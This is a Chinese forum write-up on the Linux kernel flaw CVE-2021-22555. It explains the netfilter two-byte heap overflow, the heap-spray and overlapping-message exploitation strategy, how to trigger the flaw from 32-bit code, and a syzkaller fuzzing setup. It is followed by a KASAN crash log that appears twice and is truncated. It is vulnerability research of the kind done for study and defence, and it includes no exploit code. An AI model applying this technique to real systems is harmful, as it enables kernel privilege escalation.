-
-
[原创]内核漏洞学习记录(cve-2021-22555)
-
发表于: 2024-6-6 11:05 8001
-
看雪的二进制课程已经结束了,此篇是考核内容,顺便检测一下我对课程内容的理解程度
https://www.anquanke.com/post/id/254027
https://arttnba3.cn/2022/04/01/CVE-0X07-CVE-2021-22555/
https://google.github.io/security-research/pocs/linux/cve-2021-22555/writeup.html
以及看雪的二进制课程
先看一下kasan给出的信息
看样子是xt_compat_target_from_user函数出现了两字节写的堆溢出
由于本人对Linux内核不太熟悉,所以只能从exp入手来分析漏洞成因,以及漏洞所在的模块的大致作用
poc如下
编译命令如下
此处申请了4096个消息队列主要是为了堆喷的稳定和利用的稳定(后面会提),一般来说,堆喷的利用文章都会提到喷得越多,利用越稳定,可是很少提及为什么越多越稳定,此处我认为可以引用CTFwiki上的介绍内容,内核代码很有可能在不同CPU核心上运行,而slub算法在不同核心上分配的内存也是不一样的,假设喷得不够多的情况下,exp在堆喷的时候用的是CPU0,而后面利用时却跑到了CPU1,就会导致利用失败
main函数开头的这一段也是为了将进程绑定到固定核心上,以提高堆喷稳定性
接下来需要创建对应的主消息和辅助消息并向其中填充数据
mtext[0]=MSG_TAG用于标识某段区域的作用是否为堆喷
mtext[4]=i用于标识内存区id
此时的消息队列排列应该如下图所示
紧接着是释放部分主消息,事实上只释放了三个主消息,1024、2048、3072
调用setsockopt(IPT_SO_SET_REPLACE)会直接触发两字节溢出写0,之前连续申请了4096个消息队列也是为了能让消息队列所在的内存是连续的,其实最重要的是能让辅助消息队列所在的内存是连续的,因为触发的是两字节写0,也就是说主消息对应的辅助消息如果原本内存地址不为0的情况下,触发漏洞过后,会有两个主消息指向同一个辅助消息,也就是从上面的图变成了下图
有些教程认为在触发漏洞时,中间还有个如下图所示的状态
从漏洞原理以及触发条件来看,我认为这种状态并不需要特别注意,在调用setsockopt函数时,内核中确实是先创建了xt_table_info,然后在八字节对齐时产生两字节溢出,但是从用户态看来,调用完setsockopt函数后就直接发生了溢出;总之,这种中间状态存在时间非常短,可以忽略不计,但对理解漏洞形成流程还是有帮助的
至此,我们已经触发了这个漏洞,根据之前所做的内容来看,触发漏洞更需要几个条件;首先需要将代码编译成32位程序,并且在64位系统上运行;其次需要编译x_tables和ip6_tables这两个内核模块,最后需要在调用setsockopt时加上一些特别的字段;32位系统调用setsockopt(IPT_SO_SET_REPLACE)函数最终会走到内核的 __compat_sys_setsockopt 函数中,这点也可以从之前kasan的输出信息中看到
关于setsockopt的内核调用流程十分复杂(我太菜了),且与漏洞原理本身无关(适当的了解还是有必要的,可以加深对Linux内核的理解),所以就直接从漏洞点来分析
漏洞点实际是从compat_do_replace函数开始便存在了,并在xt_compat_target_from_user函数中被触发
先看一下compat_do_replace函数代码
从上面trigger_oob_write函数中的漏洞触发代码来看,struct compat_ip6t_replace tmp 对应着 struct ip6t_replace replace
注意此处的kvmalloc,这与漏洞产生原因有关,后面会提到
而newinfo则是xt_table_info头加如下一堆结构体
最后在调用translate_compat_table函数时给的&loc_cpu_entry指针则是指向xt_table_info结构体里的可变长度结构体entries
简单的形容translate_compat_table函数的作用就是将32位的结构体传到entry0中,然后申请一个和entry0同样大小的entry1 64位结构体,然后将entry0赋值给entry1(注意,此时entry0中的内容不做修改,只是从32位转到了64位而已),到此为止KASAN的信息就不全了,此处的调用链+应该是 translate_compat_table -> compat_copy_entry_from_user -> xt_compat_target_from_user,中间的函数不怎么重要,主要就是参数传递的过程,重要的是xt_compat_target_from_user函数
此处需要注意pad变量,在赋值时,代码作者想要进行8字节对齐,但是在上面xt_alloc_table_info函数在申请内存时,并没有进行8字节对齐,这意味着在memset置零的时候可能会将0写到下一个堆块中(溢出后产生的效果可以参考上面的图片)
此时漏洞形成的大致原理就已经清楚了,在64位系统中执行32位的含有socket的代码(漏洞触发代码参考trigger_oob_write函数),所以要想通过syzkaller来检测到此漏洞,就需要使用64位的内核来运行32位的样本
需要开启CPU虚拟化
8G内存(内存需要尽可能大)
40G硬盘(看网上说的,应该够用)
安装一些依赖包
根据GitHub上给出的错误修改提示和一些必须的配置修改.config文件
还有一些代码需要修改
将/include/linux/compiler.h头文件第392行注释掉,这个错误不知道为什么会被触发,我看了更新版本的内核,这行还是在的,可能是我机器的玄学问题
修改/tools/objtool/elf.c中第356行的if判断,直接改为return 0,这个问题是根据GitHub上的patch代码修改的,事实上新版本的内核也直接改为return 0了
以上需要修改的源码内容是在Ubuntu22.04上编译5.8.1内核的时候必要的修改,如果使用的是20.04则不需要对源码做修改,只需要修改.config文件就可以了
然后需要修改一下syzkaller的源码内容
此处需要找到qemu.go文件,将如下内容
修改为
修改完成后需要重新编译syzkaller,编译完成后直接运行就好
运行之前需要写一些syzkaller的配置文件,并下载镜像文件
这里target给的是386是因为之前修改了syzkaller源码,所以实际运行的是64位的系统,只不过syzkaller喂的是32位的样本
下面的目录都是根据实际工作目录填写;count、cpu和mem参数,则分别代表虚拟机数、CPU数和内存大小,这些根据实际物理机配置需要尽可能大一些
之后就可以使用syz-manager开始fuzz了,这里的config文件则是上面自己修改的config文件
第一次使用syzkaller可能会有些疑惑,为什么运行一段时间后所有的虚拟机都停了,这是因为syzkaller每隔一段时间就需要验证跑出来的crash,并生成C代码
总之fuzz时,耐心等待即可
其实fuzz部分文章去年十一月就差不多完成了,但是因为工作变故,导致拖延了很久,总之最后能发出来就是好的,另外漏洞本身除了fuzz部分还有利用部分,所以此文章应该还有一篇,等有空了就给大家鸽出来吧
[
1185.205439
]
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
[
1185.205993
] BUG: KASAN: slab
-
out
-
of
-
bounds
in
xt_compat_target_from_user
+
0x20a
/
0x4c0
[x_tables]
[
1185.206102
] Write of size
4
at addr ffff8881e4c97600 by task poc
/
2059
[
1185.206255
] CPU:
1
PID:
2059
Comm: poc Not tainted
5.8
.
1
#1
[
1185.206257
] Hardware name: VMware, Inc. VMware Virtual Platform
/
440BX
Desktop Reference Platform, BIOS
6.00
11
/
12
/
2020
[
1185.206259
] Call Trace:
[
1185.206326
] dump_stack
+
0x9d
/
0xda
[
1185.206346
] print_address_description.constprop.
0
+
0x1f
/
0x210
[
1185.206353
] ? _raw_spin_lock_irqsave
+
0x8e
/
0xf0
[
1185.206355
] ? _raw_spin_trylock_bh
+
0x130
/
0x130
[
1185.206371
] ? xt_compat_target_from_user
+
0x20a
/
0x4c0
[x_tables]
[
1185.206373
] kasan_report.cold
+
0x37
/
0x7c
[
1185.206377
] ? xt_compat_target_from_user
+
0x20a
/
0x4c0
[x_tables]
[
1185.206390
] check_memory_region
+
0x15b
/
0x1e0
[
1185.206393
] memset
+
0x24
/
0x50
[
1185.206399
] xt_compat_target_from_user
+
0x20a
/
0x4c0
[x_tables]
[
1185.206406
] ? xt_compat_match_from_user
+
0x4c0
/
0x4c0
[x_tables]
[
1185.206410
] ? __kmalloc_node
+
0x127
/
0x380
[
1185.206416
] translate_compat_table
+
0xf00
/
0x16d0
[ip6_tables]
[
1185.206420
] ? ip6t_register_table
+
0x2d0
/
0x2d0
[ip6_tables]
[
1185.206423
] ? kasan_unpoison_shadow
+
0x38
/
0x50
[
1185.206425
] ? __kasan_kmalloc.constprop.
0
+
0xcf
/
0xe0
[
1185.206427
] ? kasan_kmalloc
+
0x9
/
0x10
[
1185.206428
] ? __kmalloc_node
+
0x127
/
0x380
[
1185.206431
] ? __kasan_check_write
+
0x14
/
0x20
[
1185.206433
] compat_do_replace.isra.
0
+
0x160
/
0x380
[ip6_tables]
[
1185.206435
] ? __kasan_check_write
+
0x14
/
0x20
[
1185.206438
] ? translate_compat_table
+
0x16d0
/
0x16d0
[ip6_tables]
[
1185.206453
] ? apparmor_task_alloc
+
0x2f0
/
0x2f0
[
1185.206465
] ? is_bpf_text_address
+
0xe
/
0x20
[
1185.206478
] ? ns_capable_common
+
0x5c
/
0xe0
[
1185.206481
] compat_do_ip6t_set_ctl
+
0xe4
/
0x130
[ip6_tables]
[
1185.206496
] compat_nf_setsockopt
+
0x74
/
0x100
[
1185.206503
] compat_ipv6_setsockopt.part.
0
+
0x582
/
0x780
[
1185.206505
] ? ipv6_setsockopt
+
0x110
/
0x110
[
1185.206507
] ? save_stack
+
0x42
/
0x50
[
1185.206509
] ? save_stack
+
0x23
/
0x50
[
1185.206511
] ? __kasan_kmalloc.constprop.
0
+
0xcf
/
0xe0
[
1185.206513
] ? kasan_slab_alloc
+
0xe
/
0x10
[
1185.206514
] ? kmem_cache_alloc
+
0xd7
/
0x250
[
1185.206521
] ? security_file_alloc
+
0x2f
/
0x130
[
1185.206525
] ? __alloc_file
+
0xb1
/
0x370
[
1185.206526
] ? alloc_empty_file
+
0x46
/
0xf0
[
1185.206529
] ? alloc_file
+
0x59
/
0x500
[
1185.206530
] ? alloc_file_pseudo
+
0x17e
/
0x270
[
1185.206535
] ? sock_alloc_file
+
0x47
/
0x170
[
1185.206537
] ? __sys_socket
+
0x108
/
0x1d0
[
1185.206541
] ? __do_compat_sys_socketcall
+
0x51c
/
0x5e0
[
1185.206543
] ? __ia32_compat_sys_socketcall
+
0x53
/
0x70
[
1185.206549
] ? do_syscall_32_irqs_on
+
0x4a
/
0x70
[
1185.206552
] ? do_fast_syscall_32
+
0x5f
/
0xd0
[
1185.206554
] ? do_SYSENTER_32
+
0x1f
/
0x30
[
1185.206558
] ? entry_SYSENTER_compat_after_hwframe
+
0x4d
/
0x5f
[
1185.206560
] ? __ia32_compat_sys_socketcall
+
0x53
/
0x70
[
1185.206561
] ? do_syscall_32_irqs_on
+
0x4a
/
0x70
[
1185.206563
] ? do_fast_syscall_32
+
0x5f
/
0xd0
[
1185.206565
] ? do_SYSENTER_32
+
0x1f
/
0x30
[
1185.206567
] ? entry_SYSENTER_compat_after_hwframe
+
0x4d
/
0x5f
[
1185.206569
] ? __ia32_compat_sys_socketcall
+
0x53
/
0x70
[
1185.206571
] ? do_syscall_32_irqs_on
+
0x4a
/
0x70
[
1185.206573
] ? do_fast_syscall_32
+
0x5f
/
0xd0
[
1185.206575
] ? do_SYSENTER_32
+
0x1f
/
0x30
[
1185.206577
] ? entry_SYSENTER_compat_after_hwframe
+
0x4d
/
0x5f
[
1185.206579
] ? __sys_socket
+
0xdd
/
0x1d0
[
1185.206581
] ? __do_compat_sys_socketcall
+
0x51c
/
0x5e0
[
1185.206583
] ? __ia32_compat_sys_socketcall
+
0x53
/
0x70
[
1185.206585
] ? do_syscall_32_irqs_on
+
0x4a
/
0x70
[
1185.206587
] ? do_fast_syscall_32
+
0x5f
/
0xd0
[
1185.206588
] ? do_SYSENTER_32
+
0x1f
/
0x30
[
1185.206590
] ? entry_SYSENTER_compat_after_hwframe
+
0x4d
/
0x5f
[
1185.206595
] ? __mod_lruvec_state
+
0x8c
/
0x320
[
1185.206598
] ? alloc_pages_current
+
0xdc
/
0x1c0
[
1185.206600
] ? kasan_init_slab_obj
+
0x25
/
0x30
[
1185.206603
] ? setup_object.isra.
0
+
0x2b
/
0xa0
[
1185.206605
] ? __kasan_check_write
+
0x14
/
0x20
[
1185.206607
] ? apparmor_file_alloc_security
+
0x178
/
0x5c0
[
1185.206609
] ? kasan_unpoison_shadow
+
0x38
/
0x50
[
1185.206611
] ? apparmor_ptrace_access_check
+
0x460
/
0x460
[
1185.206613
] ? security_file_alloc
+
0x2f
/
0x130
[
1185.206614
] ? kmem_cache_alloc
+
0x180
/
0x250
[
1185.206617
] ? __kasan_check_write
+
0x14
/
0x20
[
1185.206619
] ? __mutex_init
+
0xba
/
0x130
[
1185.206621
] ? __alloc_file
+
0x1a5
/
0x370
[
1185.206623
] ? alloc_empty_file
+
0x92
/
0xf0
[
1185.206625
] ? alloc_file
+
0x228
/
0x500
[
1185.206629
] ? _cond_resched
+
0x19
/
0x30
[
1185.206632
] ? aa_sk_perm
+
0x12a
/
0x610
[
1185.206634
] compat_ipv6_setsockopt
+
0xb4
/
0x160
[
1185.206640
] ? __fget_files
+
0x12b
/
0x250
[
1185.206647
] inet_csk_compat_setsockopt
+
0x6b
/
0x120
[
1185.206650
] compat_tcp_setsockopt
+
0x1c
/
0x30
[
1185.206653
] compat_sock_common_setsockopt
+
0x8a
/
0x160
[
1185.206655
] __compat_sys_setsockopt
+
0x139
/
0x330
[
1185.206658
] ? __sys_socket
+
0x11b
/
0x1d0
[
1185.206660
] ? __x32_compat_sys_recvmmsg_time32
+
0x150
/
0x150
[
1185.206662
] ? __kasan_check_write
+
0x14
/
0x20
[
1185.206664
] __do_compat_sys_socketcall
+
0x48c
/
0x5e0
[
1185.206667
] ? __x32_compat_sys_setsockopt
+
0x150
/
0x150
[
1185.206673
] ? perf_event_namespaces
+
0x1a
/
0x30
[
1185.206677
] ? walk_process_tree
+
0x330
/
0x330
[
1185.206679
] ? __kasan_check_read
+
0x11
/
0x20
[
1185.206684
] ? fpregs_assert_state_consistent
+
0x22
/
0xa0
[
1185.206686
] ? __prepare_exit_to_usermode
+
0x76
/
0x210
[
1185.206688
] ? fpregs_assert_state_consistent
+
0x22
/
0xa0
[
1185.206690
] __ia32_compat_sys_socketcall
+
0x53
/
0x70
[
1185.206693
] do_syscall_32_irqs_on
+
0x4a
/
0x70
[
1185.206696
] do_fast_syscall_32
+
0x5f
/
0xd0
[
1185.206698
] do_SYSENTER_32
+
0x1f
/
0x30
[
1185.206700
] entry_SYSENTER_compat_after_hwframe
+
0x4d
/
0x5f
[
1185.206705
] RIP:
0023
:
0xf7f08569
[
1185.206711
] Code: c4
01
10
03
03
74
c0
01
10
05
03
74
b8
01
10
06
03
74
b4
01
10
07
03
74
b0
01
10
08
03
74
d8
01
00
51
52
55
89
e5
0f
34
cd
80
<
5d
>
5a
59
c3
90
90
90
90
8d
b4
26
00
00
00
00
8d
b4
26
00
00
00
00
[
1185.206712
] RSP:
002b
:
00000000ffed1440
EFLAGS:
00000246
ORIG_RAX:
0000000000000066
[
1185.206715
] RAX: ffffffffffffffda RBX:
000000000000000e
RCX:
00000000ffed1458
[
1185.206716
] RDX:
00000000ffed14bc
RSI:
00000000f7ef5000
RDI:
00000000ffed16cc
[
1185.206717
] RBP:
00000000ffed16e8
R08:
0000000000000000
R09:
0000000000000000
[
1185.206718
] R10:
0000000000000000
R11:
0000000000000000
R12:
0000000000000000
[
1185.206719
] R13:
0000000000000000
R14:
0000000000000000
R15:
0000000000000000
[
1185.206746
] Allocated by task
2059
:
[
1185.206836
] save_stack
+
0x23
/
0x50
[
1185.206838
] __kasan_kmalloc.constprop.
0
+
0xcf
/
0xe0
[
1185.206840
] kasan_kmalloc
+
0x9
/
0x10
[
1185.206842
] __kmalloc_node
+
0x127
/
0x380
[
1185.206845
] kvmalloc_node
+
0x7b
/
0x90
[
1185.206855
] xt_alloc_table_info
+
0x2f
/
0x80
[x_tables]
[
1185.206860
] translate_compat_table
+
0xb38
/
0x16d0
[ip6_tables]
[
1185.206862
] compat_do_replace.isra.
0
+
0x160
/
0x380
[ip6_tables]
[
1185.206865
] compat_do_ip6t_set_ctl
+
0xe4
/
0x130
[ip6_tables]
[
1185.206868
] compat_nf_setsockopt
+
0x74
/
0x100
[
1185.206871
] compat_ipv6_setsockopt.part.
0
+
0x582
/
0x780
[
1185.206873
] compat_ipv6_setsockopt
+
0xb4
/
0x160
[
1185.206875
] inet_csk_compat_setsockopt
+
0x6b
/
0x120
[
1185.206877
] compat_tcp_setsockopt
+
0x1c
/
0x30
[
1185.206879
] compat_sock_common_setsockopt
+
0x8a
/
0x160
[
1185.206882
] __compat_sys_setsockopt
+
0x139
/
0x330
[
1185.206884
] __do_compat_sys_socketcall
+
0x48c
/
0x5e0
[
1185.206886
] __ia32_compat_sys_socketcall
+
0x53
/
0x70
[
1185.206889
] do_syscall_32_irqs_on
+
0x4a
/
0x70
[
1185.206892
] do_fast_syscall_32
+
0x5f
/
0xd0
[
1185.206894
] do_SYSENTER_32
+
0x1f
/
0x30
[
1185.206896
] entry_SYSENTER_compat_after_hwframe
+
0x4d
/
0x5f
[
1185.206976
] Freed by task
0
:
[
1185.206998
] (stack
is
not
available)
[
1185.207036
] The buggy address belongs to the
object
at ffff8881e4c97400
which belongs to the cache kmalloc
-
512
(
1052
:session
-
1.scope
) of size
512
[
1185.207140
] The buggy address
is
located
0
bytes to the right of
512
-
byte region [ffff8881e4c97400, ffff8881e4c97600)
[
1185.207317
] The buggy address belongs to the page:
[
1185.207382
] page:ffffea0007932400 refcount:
1
mapcount:
0
mapping:
0000000000000000
index:
0xffff8881e4c96400
head:ffffea0007932400 order:
3
compound_mapcount:
0
compound_pincount:
0
[
1185.207384
] flags:
0x17ffffc0010200
(slab|head)
[
1185.207387
] raw:
0017ffffc0010200
dead000000000100 dead000000000122 ffff8881cab0b400
[
1185.207389
] raw: ffff8881e4c96400
0000000080200016
00000001ffffffff
0000000000000000
[
1185.207390
] page dumped because: kasan: bad access detected
[
1185.207402
] Memory state around the buggy address:
[
1185.207459
] ffff8881e4c97500:
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
[
1185.207507
] ffff8881e4c97580:
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
[
1185.207549
] >ffff8881e4c97600: fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc
[
1185.207605
] ^
[
1185.207628
] ffff8881e4c97680: fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc
[
1185.207732
] ffff8881e4c97700: fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc
[
1185.207780
]
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
[
1185.207882
] Disabling lock debugging due to kernel taint
[
1185.209449
] x_tables: ip6_tables: icmp6.
0
match: invalid size
8
(kernel) !
=
(user)
212
[
1185.205439
]
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
[
1185.205993
] BUG: KASAN: slab
-
out
-
of
-
bounds
in
xt_compat_target_from_user
+
0x20a
/
0x4c0
[x_tables]
[
1185.206102
] Write of size
4
at addr ffff8881e4c97600 by task poc
/
2059
[
1185.206255
] CPU:
1
PID:
2059
Comm: poc Not tainted
5.8
.
1
#1
[
1185.206257
] Hardware name: VMware, Inc. VMware Virtual Platform
/
440BX
Desktop Reference Platform, BIOS
6.00
11
/
12
/
2020
[
1185.206259
] Call Trace:
[
1185.206326
] dump_stack
+
0x9d
/
0xda
[
1185.206346
] print_address_description.constprop.
0
+
0x1f
/
0x210
[
1185.206353
] ? _raw_spin_lock_irqsave
+
0x8e
/
0xf0
[
1185.206355
] ? _raw_spin_trylock_bh
+
0x130
/
0x130
[
1185.206371
] ? xt_compat_target_from_user
+
0x20a
/
0x4c0
[x_tables]
[
1185.206373
] kasan_report.cold
+
0x37
/
0x7c
[
1185.206377
] ? xt_compat_target_from_user
+
0x20a
/
0x4c0
[x_tables]
[
1185.206390
] check_memory_region
+
0x15b
/
0x1e0
[
1185.206393
] memset
+
0x24
/
0x50
[
1185.206399
] xt_compat_target_from_user
+
0x20a
/
0x4c0
[x_tables]
[
1185.206406
] ? xt_compat_match_from_user
+
0x4c0
/
0x4c0
[x_tables]
[
1185.206410
] ? __kmalloc_node
+
0x127
/
0x380
[
1185.206416
] translate_compat_table
+
0xf00
/
0x16d0
[ip6_tables]
[
1185.206420
] ? ip6t_register_table
+
0x2d0
/
0x2d0
[ip6_tables]
[
1185.206423
] ? kasan_unpoison_shadow
+
0x38
/
0x50
[
1185.206425
] ? __kasan_kmalloc.constprop.
0
+
0xcf
/
0xe0
[
1185.206427
] ? kasan_kmalloc
+
0x9
/
0x10
[
1185.206428
] ? __kmalloc_node
+
0x127
/
0x380
[
1185.206431
] ? __kasan_check_write
+
0x14
/
0x20
[
1185.206433
] compat_do_replace.isra.
0
+
0x160
/
0x380
[ip6_tables]
[
1185.206435
] ? __kasan_check_write
+
0x14
/
0x20
[
1185.206438
] ? translate_compat_table
+
0x16d0
/
0x16d0
[ip6_tables]
[
1185.206453
] ? apparmor_task_alloc
+
0x2f0
/
0x2f0
[
1185.206465
] ? is_bpf_text_address
+
0xe
/
0x20
[
1185.206478
] ? ns_capable_common
+
0x5c
/
0xe0
[
1185.206481
] compat_do_ip6t_set_ctl
+
0xe4
/
0x130
[ip6_tables]
[
1185.206496
] compat_nf_setsockopt
+
0x74
/
0x100
[
1185.206503
] compat_ipv6_setsockopt.part.
0
+
0x582
/
0x780
[
1185.206505
] ? ipv6_setsockopt
+
0x110
/
0x110
[
1185.206507
] ? save_stack
+
0x42
/
0x50
[
1185.206509
] ? save_stack
+
0x23
/
0x50
[
1185.206511
] ? __kasan_kmalloc.constprop.
0
+
0xcf
/
0xe0
[
1185.206513
] ? kasan_slab_alloc
+
0xe
/
0x10
[
1185.206514
] ? kmem_cache_alloc
+
0xd7
/
0x250
[
1185.206521
] ? security_file_alloc
+
0x2f
/
0x130
[
1185.206525
] ? __alloc_file
+
0xb1
/
0x370
[
1185.206526
] ? alloc_empty_file
+
0x46
/
0xf0
[
1185.206529
] ? alloc_file
+
0x59
/
0x500
[
1185.206530
] ? alloc_file_pseudo
+
0x17e
/
0x270
[
1185.206535
] ? sock_alloc_file
+
0x47
/
0x170
[
1185.206537
] ? __sys_socket
+
0x108
/
0x1d0
[
1185.206541
] ? __do_compat_sys_socketcall
+
0x51c
/
0x5e0
[
1185.206543
] ? __ia32_compat_sys_socketcall
+
0x53
/
0x70
[
1185.206549
] ? do_syscall_32_irqs_on
+
0x4a
/
0x70
[
1185.206552
] ? do_fast_syscall_32
+
0x5f
/
0xd0
[
1185.206554
] ? do_SYSENTER_32
+
0x1f
/
0x30
[
1185.206558
] ? entry_SYSENTER_compat_after_hwframe
+
0x4d
/
0x5f
[
1185.206560
] ? __ia32_compat_sys_socketcall
+
0x53
/
0x70
[
1185.206561
] ? do_syscall_32_irqs_on
+
0x4a
/
0x70
[
1185.206563
] ? do_fast_syscall_32
+
0x5f
/
0xd0
[
1185.206565
] ? do_SYSENTER_32
+
0x1f
/
0x30
[
1185.206567
] ? entry_SYSENTER_compat_after_hwframe
+
0x4d
/
0x5f
[
1185.206569
] ? __ia32_compat_sys_socketcall
+
0x53
/
0x70
[
1185.206571
] ? do_syscall_32_irqs_on
+
0x4a
/
0x70
[
1185.206573
] ? do_fast_syscall_32
+
0x5f
/
0xd0
[
1185.206575
] ? do_SYSENTER_32
+
0x1f
/
0x30
[
1185.206577
] ? entry_SYSENTER_compat_after_hwframe
+
0x4d
/
0x5f
[
1185.206579
] ? __sys_socket
+
0xdd
/
0x1d0
[
1185.206581
] ? __do_compat_sys_socketcall
+
0x51c
/
0x5e0
[
1185.206583
] ? __ia32_compat_sys_socketcall
+
0x53
/
0x70
[
1185.206585
] ? do_syscall_32_irqs_on
+
0x4a
/
0x70
[
1185.206587
] ? do_fast_syscall_32
+
0x5f
/
0xd0
[
1185.206588
] ? do_SYSENTER_32
+
0x1f
/
0x30
[
1185.206590
] ? entry_SYSENTER_compat_after_hwframe
+
0x4d
/
0x5f
[
1185.206595
] ? __mod_lruvec_state
+
0x8c
/
0x320
[
1185.206598
] ? alloc_pages_current
+
0xdc
/
0x1c0
[
1185.206600
] ? kasan_init_slab_obj
+
0x25
/
0x30
[
1185.206603
] ? setup_object.isra.
0
+
0x2b
/
0xa0
[
1185.206605
] ? __kasan_check_write
+
0x14
/
0x20
[
1185.206607
] ? apparmor_file_alloc_security
+
0x178
/
0x5c0
[
1185.206609
] ? kasan_unpoison_shadow
+
0x38
/
0x50
[
1185.206611
] ? apparmor_ptrace_access_check
+
0x460
/
0x460
[
1185.206613
] ? security_file_alloc
+
0x2f
/
0x130
[
1185.206614
] ? kmem_cache_alloc
+
0x180
/
0x250
[
1185.206617
] ? __kasan_check_write
+
0x14
/
0x20
[
1185.206619
] ? __mutex_init
+
0xba
/
0x130
[
1185.206621
] ? __alloc_file
+
0x1a5
/
0x370
[
1185.206623
] ? alloc_empty_file
+
0x92
/
0xf0
[
1185.206625
] ? alloc_file
+
0x228
/
0x500
[
1185.206629
] ? _cond_resched
+
0x19
/
0x30
[
1185.206632
] ? aa_sk_perm
+
0x12a
/
0x610
[
1185.206634
] compat_ipv6_setsockopt
+
0xb4
/
0x160
[
1185.206640
] ? __fget_files
+
0x12b
/
0x250
[
1185.206647
] inet_csk_compat_setsockopt
+
0x6b
/
0x120
[
1185.206650
] compat_tcp_setsockopt
+
0x1c
/
0x30
[
1185.206653
] compat_sock_common_setsockopt
+
0x8a
/
0x160
[
1185.206655
] __compat_sys_setsockopt
+
0x139
/
0x330
[
1185.206658
] ? __sys_socket
+
0x11b
/
0x1d0
[
1185.206660
] ? __x32_compat_sys_recvmmsg_time32
+
0x150
/
0x150
[
1185.206662
] ? __kasan_check_write
+
0x14
/
0x20
[
1185.206664
] __do_compat_sys_socketcall
+
0x48c
/
0x5e0
[
1185.206667
] ? __x32_compat_sys_setsockopt
+
0x150
/
0x150
[
1185.206673
] ? perf_event_namespaces
+
0x1a
/
0x30
[
1185.206677
] ? walk_process_tree
+
0x330
/
0x330
[
1185.206679
] ? __kasan_check_read
+
0x11
/
0x20
[
1185.206684
] ? fpregs_assert_state_consistent
+
0x22
/
0xa0
[
1185.206686
] ? __prepare_exit_to_usermode
+
0x76
/
0x210
[
1185.206688
] ? fpregs_assert_state_consistent
+
0x22
/
0xa0
[
1185.206690
] __ia32_compat_sys_socketcall
+
0x53
/
0x70
[
1185.206693
] do_syscall_32_irqs_on
+
0x4a
/
0x70
[
1185.206696
] do_fast_syscall_32
+
0x5f
/
0xd0
[
1185.206698
] do_SYSENTER_32
+
0x1f
/
0x30
[
1185.206700
] entry_SYSENTER_compat_after_hwframe
+
0x4d
/
0x5f
[
1185.206705
] RIP:
0023
:
0xf7f08569
[
1185.206711
] Code: c4
01
10
03
03
74
c0
01
10
05
03
74
b8
01
10
06
03
74
b4
01
10
07
03
74
b0
01
10
08
03
74
d8
01
00
51
52
55
89
e5
0f
34
cd
80
<
5d
>
5a
59
c3
90
90
90
90
8d
b4
26
00
00
00
00
8d
b4
26
00
00
00
00
[
1185.206712
] RSP:
002b
:
00000000ffed1440
EFLAGS:
00000246
ORIG_RAX:
0000000000000066
[
1185.206715
] RAX: ffffffffffffffda RBX:
000000000000000e
RCX:
00000000ffed1458
[
1185.206716
] RDX:
00000000ffed14bc
RSI:
00000000f7ef5000
RDI:
00000000ffed16cc
[
1185.206717
] RBP:
00000000ffed16e8
R08:
0000000000000000
R09:
0000000000000000
[
1185.206718
] R10:
0000000000000000
R11:
0000000000000000
R12:
0000000000000000
[
1185.206719
] R13:
0000000000000000
R14:
0000000000000000
R15:
0000000000000000
[
1185.206746
] Allocated by task
2059
:
[
1185.206836
] save_stack
+
0x23
/
0x50
[
1185.206838
] __kasan_kmalloc.constprop.
0
+
0xcf
/
0xe0
[
1185.206840
] kasan_kmalloc
+
0x9
/
0x10
[
1185.206842
] __kmalloc_node
+
0x127
/
0x380
[
1185.206845
] kvmalloc_node
+
0x7b
/
0x90
[
1185.206855
] xt_alloc_table_info
+
0x2f
/
0x80
[x_tables]
[
1185.206860
] translate_compat_table
+
0xb38
/
0x16d0
[ip6_tables]
[
1185.206862
] compat_do_replace.isra.
0
+
0x160
/
0x380
[ip6_tables]
[
1185.206865
] compat_do_ip6t_set_ctl
+
0xe4
/
0x130
[ip6_tables]
[
1185.206868
] compat_nf_setsockopt
+
0x74
/
0x100
[
1185.206871
] compat_ipv6_setsockopt.part.
0
+
0x582
/
0x780
[
1185.206873
] compat_ipv6_setsockopt
+
0xb4
/
0x160
[
1185.206875
] inet_csk_compat_setsockopt
+
0x6b
/
0x120
[
1185.206877
] compat_tcp_setsockopt
+
0x1c
/
0x30
[
1185.206879
] compat_sock_common_setsockopt
+
0x8a
/
0x160
[
1185.206882
] __compat_sys_setsockopt
+
0x139
/
0x330
[
1185.206884
] __do_compat_sys_socketcall
+
0x48c
/
0x5e0
[
1185.206886
] __ia32_compat_sys_socketcall
+
0x53
/
0x70
[
1185.206889
] do_syscall_32_irqs_on
+
0x4a
/
0x70
[
1185.206892
] do_fast_syscall_32
+
0x5f
/
0xd0
[
1185.206894
] do_SYSENTER_32
+
0x1f
/
0x30
[
1185.206896
] entry_SYSENTER_compat_after_hwframe
+
0x4d
/
0x5f
[
1185.206976
] Freed by task
0
:
[
1185.206998
] (stack
is
not
available)
[
1185.207036
] The buggy address belongs to the
object
at ffff8881e4c97400
which belongs to the cache kmalloc
-
512
(
1052
:session
-
1.scope
) of size
512
[
1185.207140
] The buggy address
is
located
0
bytes to the right of
512
-
byte region [ffff8881e4c97400, ffff8881e4c97600)
[
1185.207317
] The buggy address belongs to the page:
[
1185.207382
] page:ffffea0007932400 refcount:
1
mapcount:
0
mapping:
0000000000000000
index:
0xffff8881e4c96400
head:ffffea0007932400 order:
3
compound_mapcount:
0
compound_pincount:
0
[
1185.207384
] flags:
0x17ffffc0010200
(slab|head)
[
1185.207387
] raw:
0017ffffc0010200
dead000000000100 dead000000000122 ffff8881cab0b400
[
1185.207389
] raw: ffff8881e4c96400
0000000080200016
00000001ffffffff
0000000000000000
[
1185.207390
] page dumped because: kasan: bad access detected
[
1185.207402
] Memory state around the buggy address:
[
1185.207459
] ffff8881e4c97500:
00
00
00
00
00
00
